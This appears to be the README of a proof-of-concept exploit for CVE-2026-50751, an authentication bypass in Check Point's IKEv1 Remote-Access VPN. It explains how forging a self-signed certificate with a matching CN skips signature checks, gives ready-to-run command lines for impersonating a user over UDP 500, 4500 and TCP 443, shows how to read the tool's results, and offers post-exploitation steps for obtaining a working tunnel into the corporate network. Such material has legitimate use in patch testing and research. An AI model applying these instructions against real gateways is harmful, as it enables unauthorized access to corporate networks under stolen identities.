CVE-2026-50751 — PoC

Certificate authentication bypass in Check Point Remote-Access VPN (IKEv1).

Description

CVE-2026-50751 is an authentication bypass in Check Point's iked process, present in versions R81.10, R82, and R82.10 without hotfix sk185033. The flaw allows authenticating as any provisioned Remote Access user without a private key, without a password, and without a valid certificate.

The vulnerable iked reads a flag from the VPNExtFeatures Vendor ID (bit 0x4) and, if enabled, skips verify_peer_auth / verifyMessagePhase1. As a result:

The certificate signature is not verified (proof of possession).

The trust chain is not verified.

It only checks that the subject DN resolves to a provisioned user.

It is enough to forge a self-signed certificate whose CN= matches the target user and send it with an invalid signature. If the gateway accepts phase 1, we have authenticated as that user (the ISAKMP SA is stored under their DN).

It works over IKE (UDP 500/4500) and over Visitor Mode (TCPT, TCP 443).

Usage

Syntax

cve-2026-50751 -host <IP|hostname> -user <username> [options]

Options

Flag	Description	Default
-host	Gateway IP or hostname (required)	—
-user	RA username to impersonate (required)	—
-port	Port: 500, 4500 (UDP) or 443 (TCPT)	500
-org	Organization (O=) of the ICA. If omitted, it is derived from the gateway's TLS certificate on port 443	—
-ou	Organizational Unit (OU=) of the user's DN. Must match exactly the OU that Check Point stores for the user	users
-timeout	Timeout per operation (accepts any Go duration: 6s, 500ms, 1m)	6s
-retries	Retries of msg1 if the gateway does not respond on the first attempt	1
-tcpt	Forces Visitor Mode transport (TCPT over TCP, without TLS). Enabled automatically if -port 443	false

Note on -ou: the default value is users, but in practice the RA user usually belongs to a specific group (for example VPN_GROUP). Check it with mgmt_cli show user name "<user>" details-level "full" --format json and look for the distinguished-name field. An incorrect OU causes the gateway to silently discard msg5 (NO_RESPONSE or INCONCLUSIVE), because it does not resolve the DN to any provisioned user.

Examples

Basic attack over UDP/500 (with automatic derivation of O=)

sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim

On Linux/macOS you need sudo to bind UDP port 500 as the source. If you cannot use sudo, the PoC falls back to an ephemeral port and many gateways ignore the packets due to the non-standard source port.

Manually specifying the organization and the OU

Useful when the gateway does not expose its TLS certificate on 443, or when the automatically derived O= does not match that of the provisioned user:

./cve-2026-50751 \
  -host 203.0.113.10 \
  -port 500 \
  -user victim \
  -org "gw-754bab.acme.s34394" \
  -ou VPN_GROUP

Visitor Mode (TCPT over TCP/443)

Enabled automatically when specifying -port 443:

./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -org "ACME" -ou users

Or explicitly forced with -tcpt (in case the gateway has Visitor Mode listening on a port other than 443):

./cve-2026-50751 -host 203.0.113.10 -port 8443 -user victim -tcpt -org "ACME"

Over NAT-T (UDP/4500)

To traverse NAT between your machine and the gateway. The PoC prefixes the packets with the RFC 3948 NON-ESP marker:

sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -org "ACME"

Adjusting timeouts and retries

Useful on slow links or gateways with rate limiting:

./cve-2026-50751 \
  -host 203.0.113.10 \
  -user victim \
  -timeout 10s \
  -retries 3 \
  -org "ACME"

Output interpretation

Output	Meaning	What to do
[+] [BYPASSED] + internal IP	The bypass worked; the IKEv1 SA was established as the impersonated user	See the Post-exploitation section
[-] [REJECTED]	The gateway decrypted your msg5 but rejected authentication	User not provisioned, incorrect OU, or patched gateway (sk185033)
[-] [NO_CERT_REALM]	The gateway does not offer certificate authentication in Main Mode	The gateway is not in Certificate/Mixed mode, or only accepts IKEv2
[-] [NO_RESPONSE]	No response to msg1	Firewall blocking UDP/500, iked not running, or rate limiting
[!] [INCONCLUSIVE]	No decisive response	Retry after a few minutes; check tcpdump and iked logs

Post-exploitation

Once [BYPASSED] is obtained, the PoC has established a complete IKEv1 Security Association and the gateway has assigned you a virtual IP from the Remote Access pool. From the gateway's perspective, you are the impersonated user inside the corporate network.

However, the PoC does not provide a usable data tunnel (it does not implement Quick Mode / IPsec ESP). To make use of the network position, phase 2 must be completed. This can be done with:

• strongSwan or OpenVPN with a manipulable certificate: configure the client to use a certificate with the forged DN and negotiate Quick Mode after the bypass. It requires modifying the flow to inject the VID and skip client-side signature verification.
• Extending the PoC with Quick Mode: implement IKEv1 phase 2 (exchange type 32) and the ESP transforms. It is considerable work but allows a functional tunnel.
• Office Mode: in deployments where the gateway accepts Office Mode after certificate XAUTH, the phase 1 we have already completed is the first step; the rest depends on the configuration.

Attack flow

Attacker                                             Gateway (vulnerable iked)
   │                                                          │
   │─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
   │                                                          │  Reads flag 0x4
   │                                                          │  Sets verify_peer_auth = skip
   │◀── msg2: SA accepted ────────────────────────────────────│
   │                                                          │
   │─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
   │◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
   │                                                          │
   │  Derives SKEYID, SKEYID_e, IV                            │
   │                                                          │
   │─── msg5 (encrypted): ID=forged DN + self-signed CERT    │
   │                    + random signature ──────────────────▶│
   │                                                          │  Skips signature
   │                                                          │  verification
   │                                                          │  Resolves DN → user
   │◀── msg6 (encrypted): SA established ─────────────────────│
   │                                                          │
   │  Decrypts msg6 with SKEYID_e → authentication proof      │